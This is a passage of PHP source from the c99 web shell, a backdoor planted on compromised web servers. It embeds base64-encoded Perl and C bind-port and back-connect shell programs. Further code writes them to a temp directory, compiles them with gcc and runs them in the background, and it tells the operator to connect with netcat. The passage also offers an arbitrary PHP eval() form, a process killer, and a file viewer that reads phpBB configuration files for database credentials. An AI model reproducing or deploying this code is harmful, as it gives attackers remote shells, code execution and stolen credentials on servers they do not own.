  1996.   echo "</table><hr size=\"1\" noshade><p align=\"right\"><b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  1997.   if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
  1998.   {
  1999.    echo "<input type=\"submit\" name=\"actarcbuff\" value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  2000.   }
  2001.   echo "<select name=\"act\"><option value=\"".$act."\">With selected:</option>";
  2002.   echo "<option value=\"delete\"".gchds($dspact,"delete"," selected").">Delete</option>";
  2003.   echo "<option value=\"chmod\"".gchds($dspact,"chmod"," selected").">Change-mode</option>";
  2004.   if ($usefsbuff)
  2005.   {
  2006.    echo "<option value=\"cut\"".gchds($dspact,"cut"," selected").">Cut</option>";
  2007.    echo "<option value=\"copy\"".gchds($dspact,"copy"," selected").">Copy</option>";
  2008.    echo "<option value=\"unselect\"".gchds($dspact,"unselect"," selected").">Unselect</option>";
  2009.   }
  2010.   echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></p>";
  2011.   echo "</form>";
  2012.  }
  2013. }
  2014. if ($act == "bind")
  2015. {
  2016.  $bndsrcs = array(
  2017. "c99sh_bindport.pl"=>
  2018. "IyEvdXNyL2Jpbi9wZXJsDQppZiAoQEFSR1YgPCAxKSB7ZXhpdCgxKTt9DQokcG9ydCA9ICRBUkdW".
  2019. "WzBdOw0KZXhpdCBpZiBmb3JrOw0KJDAgPSAidXBkYXRlZGIiIC4gIiAiIHgxMDA7DQokU0lHe0NI".
  2020. "TER9ID0gJ0lHTk9SRSc7DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsIFBGX0lORVQsIFNPQ0tfU1RS".
  2021. "RUFNLCAwKTsNCnNldHNvY2tvcHQoUywgU09MX1NPQ0tFVCwgU09fUkVVU0VBRERSLCAxKTsNCmJp".
  2022. "bmQoUywgc29ja2FkZHJfaW4oJHBvcnQsIElOQUREUl9BTlkpKTsNCmxpc3RlbihTLCA1MCk7DQph".
  2023. "Y2NlcHQoWCxTKTsNCm9wZW4gU1RESU4sICI8JlgiOw0Kb3BlbiBTVERPVVQsICI+JlgiOw0Kb3Bl".
  2024. "biBTVERFUlIsICI+JlgiOw0KZXhlYygiZWNobyBcIldlbGNvbWUgdG8gYzk5c2hlbGwhXHJcblxy".
  2025. "XG5cIiIpOw0Kd2hpbGUoMSkNCnsNCiBhY2NlcHQoWCwgUyk7DQogdW5sZXNzKGZvcmspDQogew0K".
  2026. "ICBvcGVuIFNURElOLCAiPCZYIjsNCiAgb3BlbiBTVERPVVQsICI+JlgiOw0KICBjbG9zZSBYOw0K".
  2027. "ICBleGVjKCIvYmluL3NoIik7DQogfQ0KIGNsb3NlIFg7DQp9",
  2028. "c99sh_bindport.c"=>
  2029. "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5".
  2030. "cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N".
  2031. "CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy".
  2032. "ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1".
  2033. "Y3Qgc29ja2FkZHJfaW4gcmVtb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5f".
  2034. "ZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0p".
  2035. "KTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tm".
  2036. "ZCA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigi".
  2037. "c29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikmcmVtb3Rl".
  2038. "LCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1h".
  2039. "Y2NlcHQoc29ja2ZkLDAsMCk7DQogICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsN".
  2040. "CiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk7DQogICBy".
  2041. "ZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1Zikp".
  2042. "DQogICBzeXN0ZW0oImVjaG8gd2VsY29tZSB0byBjOTlzaGVsbCAmJiAvYmluL2Jhc2ggLWkiKTsN".
  2043. "CiAgIGVsc2UNCiAgIGZwcmludGYoc3RkZXJyLCJTb3JyeSIpOw0KICAgY2xvc2UobmV3ZmQpOw0K".
  2044. "ICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7DQppbnQg".
  2045. "aTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRbaV0gPT0g".
  2046. "J1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykNCmVudGVy".
  2047. "ZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVybiAwOw0K".
  2048. "fQ==",
  2049. "c99sh_backconn.pl"=>
  2050. "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJ".
  2051. "HN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZ".
  2052. "DsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJ".
  2053. "HRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0L".
  2054. "CAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgnd".
  2055. "GNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBka".
  2056. "WUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yO".
  2057. "iAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLR".
  2058. "VQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlK".
  2059. "FNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==",
  2060. "c99sh_backconn.c"=>
  2061. "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l".
  2062. "dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk".
  2063. "Ow0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJybSAtZiAiOyANCiBk".
  2064. "YWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0g".
  2065. "aHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihh".
  2066. "cmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsy".
  2067. "XSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsg".
  2068. "DQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1".
  2069. "Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7DQogICBleGl0".
  2070. "KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIo".
  2071. "ZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwi".
  2072. "c2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="
  2073. );
  2074.  $bndportsrcs = array(
  2075. "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"),
  2076. "c99sh_bindport.c"=>array("Using C","%path %port %pass")
  2077. );
  2078.  $bcsrcs = array(
  2079. "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
  2080. "c99sh_backconn.c"=>array("Using C","%path %host %port")
  2081. );
  2082.  if ($win) {echo "<b>Binding port and Back connect:</b><br>This functions not work in Windows!<br><br>";}
  2083.  else
  2084.  {
  2085.   if (!is_array($bind)) {$bind = array();}
  2086.   if (!is_array($bc)) {$bc = array();}
  2087.   if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
  2088.   if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
  2089.   if (empty($bc["host"])) {$bc["host"] = $REMOTE_ADDR;}
  2090.   if (!is_numeric($bc["port"])) {$bc["port"] = $bindport_port;}
  2091.   if (!empty($bindsubmit))
  2092.   {
  2093.    echo "<b>Result of binding port:</b><br>";
  2094.    $v = $bndportsrcs[$bind["src"]];
  2095.    if (empty($v)) {echo "Unknown file!<br>";}
  2096.    elseif (fsockopen($SERVER_ADDR,$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
  2097.    else
  2098.    {
  2099.     $srcpath = $tmpdir.$bind["src"];
  2100.     $w = explode(".",$bind["src"]);
  2101.     $ext = $w[count($w)-1];
  2102.     unset($w[count($w)-1]);
  2103.     $binpath = $tmpdir.join(".",$w);
  2104.     if ($ext == "pl") {$binpath = $srcpath;}
  2105.     @unlink($srcpath);
  2106.     $fp = fopen($srcpath,"ab+");
  2107.     if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  2108.     else
  2109.     {
  2110.      $data = base64_decode($bndsrcs[$bind["src"]]);
  2111.      fwrite($fp,$data,strlen($data));
  2112.      fclose($fp);
  2113.      if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath);  @unlink($srcpath);}
  2114.      $v[1] = str_replace("%path",$binpath,$v[1]);
  2115.      $v[1] = str_replace("%port",$bind["port"],$v[1]);
  2116.      $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
  2117.      $v[1] = str_replace("//","/",$v[1]);
  2118.      $retbind = myshellexec($v[1]." > /dev/null &");
  2119.      sleep(5);
  2120.      $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
  2121.      if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
  2122.      else {echo "Binding... ok! Connect to <b>".$SERVER_ADDR.":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".$SERVER_ADDR." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=ps_aux&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";}
  2123.     }
  2124.     echo "<br>";
  2125.    }
  2126.   }
  2127.   if (!empty($bcsubmit))
  2128.   {
  2129.    echo "<b>Result of back connection:</b><br>";
  2130.    $v = $bcsrcs[$bc["src"]];
  2131.    if (empty($v)) {echo "Unknown file!<br>";}
  2132.    else
  2133.    {
  2134.     $srcpath = $tmpdir.$bc["src"];
  2135.     $w = explode(".",$bc["src"]);
  2136.     $ext = $w[count($w)-1];
  2137.     unset($w[count($w)-1]);
  2138.     $binpath = $tmpdir.join(".",$w);
  2139.     if ($ext == "pl") {$binpath = $srcpath;}
  2140.     @unlink($srcpath);
  2141.     $fp = fopen($srcpath,"ab+");
  2142.     if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  2143.     else
  2144.     {
  2145.      $data = base64_decode($bndsrcs[$bind[src]]);
  2146.      fwrite($fp,$data,strlen($data));
  2147.      fclose($fp);
  2148.      if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
  2149.      $v[1] = str_replace("%path",$binpath,$v[1]);
  2150.      $v[1] = str_replace("%host",$bc["host"],$v[1]);
  2151.      $v[1] = str_replace("%port",$bc["port"],$v[1]);
  2152.      $v[1] = str_replace("//","/",$v[1]);
  2153.      $retbind = myshellexec($v[1]." > /dev/null &");
  2154.      echo "Now script try connect to ".$bc["host"].":".$bc["port"]."...<br>";
  2155.     }
  2156.    }
  2157.   }
  2158.   ?><b>Binding port:</b><br><form method="POST"><input type="hidden" name="act" value="bind"><input type="hidden" name="d" value="<?php echo $d; ?>">Port: <input type="text" name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type="text" name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php
  2159. foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  2160. ?></select>&nbsp;<input type="submit" name="bindsubmit" value="Bind"></form>
  2161. <b>Back connection:</b><br><form method="POST"><input type="hidden" name="act" value="bind"><input type="hidden" name="d" value="<?php echo $d; ?>">HOST: <input type="text" name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type="text" name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php
  2162. foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  2163. ?></select>&nbsp;<input type="submit" name="bcsubmit" value="Connect"></form>
  2164. Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p &lt;port&gt;</b>"!<?php
  2165.  }
  2166. }
  2167. if ($act == "ps_aux")
  2168. {
  2169.  echo "<b>Processes:</b><br>";
  2170.  if ($win) {echo "This function not work in Windows!<br><br>";}
  2171.  else
  2172.  {
  2173.   if ($pid)
  2174.   {
  2175.    if (!$sig) {$sig = 9;}
  2176.    echo "Sending signal ".$sig." to #".$pid."... ";
  2177.    $ret = posix_kill($pid,$sig);
  2178.    if ($ret) {echo "ok. he is dead, amen.";}
  2179.    else {echo "ERROR.";}
  2180.   }
  2181.   $ret = myshellexec("ps -aux");
  2182.   if (!$ret) {echo "Can't execute \"ps -aux\"!";}
  2183.   else
  2184.   {
  2185.    $ret = htmlspecialchars($ret);
  2186.    while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
  2187.    $stack = explode("\n",$ret);
  2188.    $head = explode(" ",$stack[0]);
  2189.    unset($stack[0]);
  2190.    if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;}
  2191.    if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;}
  2192.    $k = $ps_aux_sort[0];
  2193.    if ($ps_aux_sort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2194.    else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2195.    for($i=0;$i<count($head);$i++)
  2196.    {
  2197.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$i.$ps_aux_sort[1]."\"><b>".$head[$i]."</b></a>";}
  2198.    }
  2199.    $prcs = array();
  2200.    foreach ($stack as $line)
  2201.    {
  2202.     if (!empty($line))
  2203.     {
  2204.      echo "<tr>";
  2205.      $line = explode(" ",$line);
  2206.      $line[10] = join(" ",array_slice($line,10,count($line)));
  2207.      $line = array_slice($line,0,11);
  2208.      if ($line[0] == get_current_user()) {$line[0] = "<font color=\"green\">".$line[0]."</font>";}
  2209.      $line[] = "<a href=\"".$surl."act=ps_aux&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  2210.      $prcs[] = $line;
  2211.      echo "</tr>";
  2212.     }
  2213.    }
  2214.    $head[$k] = "<b>".$head[$k]."</b>".$y;
  2215.    $head[] = "<b>ACTION</b>";
  2216.    $v = $ps_aux_sort[0];
  2217.    usort($prcs,"tabsort");
  2218.    if ($ps_aux_sort[1] == "d") {$prcs = array_reverse($prcs);}
  2219.    $tab = array();
  2220.    $tab[] = $head;
  2221.    $tab = array_merge($tab,$prcs);
  2222.    echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
  2223.    foreach($tab as $k)
  2224.    {
  2225.     echo "<tr>";
  2226.     foreach($k as $v) {echo "<td>".$v."</td>";}
  2227.  
  2228.     echo "</tr>";
  2229.    }
  2230.    echo "</table>";
  2231.   }
  2232.  }
  2233. }
  2234. if ($act == "eval")
  2235. {
  2236.  if (!empty($eval))
  2237.  {
  2238.   echo "<b>Result of execution this PHP-code</b>:<br>";
  2239.   $tmp = ob_get_contents();
  2240.   $olddir = realpath(".");
  2241.   @chdir($d);
  2242.   if ($tmp)
  2243.   {
  2244.    ob_clean();
  2245.    eval($eval);
  2246.    $ret = ob_get_contents();
  2247.    $ret = convert_cyr_string($ret,"d","w");
  2248.    ob_clean();
  2249.    echo $tmp;
  2250.    if ($eval_txt)
  2251.    {
  2252.     $rows = count(explode("\r\n",$ret))+1;
  2253.     if ($rows < 10) {$rows = 10;}
  2254.     echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  2255.    }
  2256.    else {echo $ret."<br>";}
  2257.   }
  2258.   else
  2259.   {
  2260.    if ($eval_txt)
  2261.    {
  2262.     echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
  2263.     eval($eval);
  2264.     echo "</textarea>";
  2265.    }
  2266.    else {echo $ret;}
  2267.   }
  2268.   @chdir($olddir);
  2269.  }
  2270.  else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = true;}}
  2271.  echo "<form method=\"POST\"><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  2272. }
  2273. if ($act == "f")
  2274. {
  2275.  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
  2276.  {
  2277.   if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  2278.   else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  2279.  }
  2280.  else
  2281.  {
  2282.   $r = @file_get_contents($d.$f);
  2283.   $ext = explode(".",$f);
  2284.   $c = count($ext)-1;
  2285.   $ext = $ext[$c];
  2286.   $ext = strtolower($ext);
  2287.   $rft = "";
  2288.   foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  2289.   if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  2290.   if (empty($ft)) {$ft = $rft;}
  2291.   $arr = array(
  2292.    array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
  2293.    array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
  2294.    array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
  2295.    array("Code","code"),
  2296.    array("Session","phpsess"),
  2297.    array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
  2298.    array("SDB","sdb"),
  2299.    array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
  2300.    array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
  2301.    array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
  2302.    array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
  2303.    array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  2304.   );
  2305.   echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  2306.   foreach($arr as $t)
  2307.   {
  2308.    if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=\"green\">".$t[0]."</font></a>";}
  2309.    elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  2310.    else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  2311.    echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  2312.   }
  2313.   echo "<hr size=\"1\" noshade>";
  2314.   if ($ft == "info")
  2315.   {
  2316.    echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  2317.    if (!$win)
  2318.    {
  2319.     echo "<tr><td><b>Owner/Group</b></td><td> ";      
  2320.     $tmp = posix_getpwuid(fileowner($d.$f));
  2321.     if ($tmp["name"] == "") {echo fileowner($d.$f)."/";}
  2322.     else {echo $tmp["name"]."/";}
  2323.     $tmp = posix_getgrgid(filegroup($d.$f));
  2324.     if ($tmp["name"] == "") {echo filegroup($d.$f);}
  2325.     else {echo $tmp['name'];}
  2326.    }
  2327.    echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
  2328.    $fi = fopen($d.$f,"rb");
  2329.    if ($fi)
  2330.    {
  2331.     if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  2332.     else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  2333.     $n = 0;
  2334.     $a0 = "00000000<br>";
  2335.     $a1 = "";
  2336.     $a2 = "";
  2337.     for ($i=0; $i<strlen($str); $i++)
  2338.     {
  2339.      $a1 .= sprintf("%02X",ord($str[$i]))." ";
  2340.      switch (ord($str[$i]))
  2341.      {
  2342.       case 0:  $a2 .= "<font>0</font>"; break;
  2343.       case 32:
  2344.       case 10:
  2345.       case 13: $a2 .= "&nbsp;"; break;
  2346.       default: $a2 .= htmlspecialchars($str[$i]);
  2347.      }
  2348.      $n++;
  2349.      if ($n == $hexdump_rows)
  2350.      {
  2351.       $n = 0;
  2352.       if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  2353.       $a1 .= "<br>";
  2354.       $a2 .= "<br>";
  2355.      }
  2356.     }
  2357.     //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
  2358.     echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
  2359.    }
  2360.    $encoded = "";
  2361.    if ($base64 == 1)
  2362.    {
  2363.     echo "<b>Base64 Encode</b><br>";
  2364.     $encoded = base64_encode(file_get_contents($d.$f));
  2365.    }
  2366.    elseif($base64 == 2)
  2367.    {
  2368.     echo "<b>Base64 Encode + Chunk</b><br>";
  2369.     $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  2370.    }
  2371.    elseif($base64 == 3)
  2372.    {
  2373.     echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
  2374.     $encoded = base64_encode(file_get_contents($d.$f));
  2375.     $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
  2376.    }
  2377.    elseif($base64 == 4)
  2378.    {
  2379.     $text = file_get_contents($d.$f);
  2380.     $encoded = base64_decode($text);
  2381.     echo "<b>Base64 Decode";
  2382.     if (base64_encode($encoded) != $text) {echo " (failed)";}
  2383.     echo "</b><br>";
  2384.    }
  2385.    if (!empty($encoded))
  2386.    {
  2387.     echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
  2388.    }
  2389.    echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  2390. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
  2391. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
  2392. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
  2393. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
  2394. <P>";
  2395.   }
  2396.   elseif ($ft == "html")
  2397.   {
  2398.    if ($white) {@ob_clean();}
  2399.    echo $r;
  2400.    if ($white) {exit;}
  2401.   }
  2402.   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  2403.   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,true)); echo "</pre>";}
  2404.   elseif ($ft == "phpsess")
  2405.   {
  2406.    echo "<pre>";
  2407.    $v = explode("|",$r);
  2408.    echo $v[0]."<br>";
  2409.    var_dump(unserialize($v[1]));
  2410.    echo "</pre>";
  2411.   }
  2412.   elseif ($ft == "exe")
  2413.   {
  2414.    $ext = explode(".",$f);
  2415.    $c = count($ext)-1;
  2416.    $ext = $ext[$c];
  2417.    $ext = strtolower($ext);
  2418.    $rft = "";
  2419.    foreach($exeftypes as $k=>$v)
  2420.    {
  2421.     if (in_array($ext,$v)) {$rft = $k; break;}
  2422.    }
  2423.    $cmd = str_replace("%f%",$f,$rft);
  2424.    echo "<b>Execute file:</b><form action=\"".$surl."act=cmd\" method=\"POST\"><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=\"hidden\" name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=\"submit\" name=\"submit\" value=\"Execute\"></form>";
  2425.   }
  2426.   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  2427.   elseif ($ft == "code")
  2428.   {
  2429.    if (ereg("phpBB 2.(.*) auto-generated config file",$r))
  2430.    {
  2431.     $arr = explode("\n",$r);
  2432.     if (count($arr == 18))
  2433.     {
  2434.      include($d.$f);
  2435.      echo "<b>phpBB configuration is detected in this file!<br>";
  2436.      if ($dbms == "mysql4") {$dbms = "mysql";}
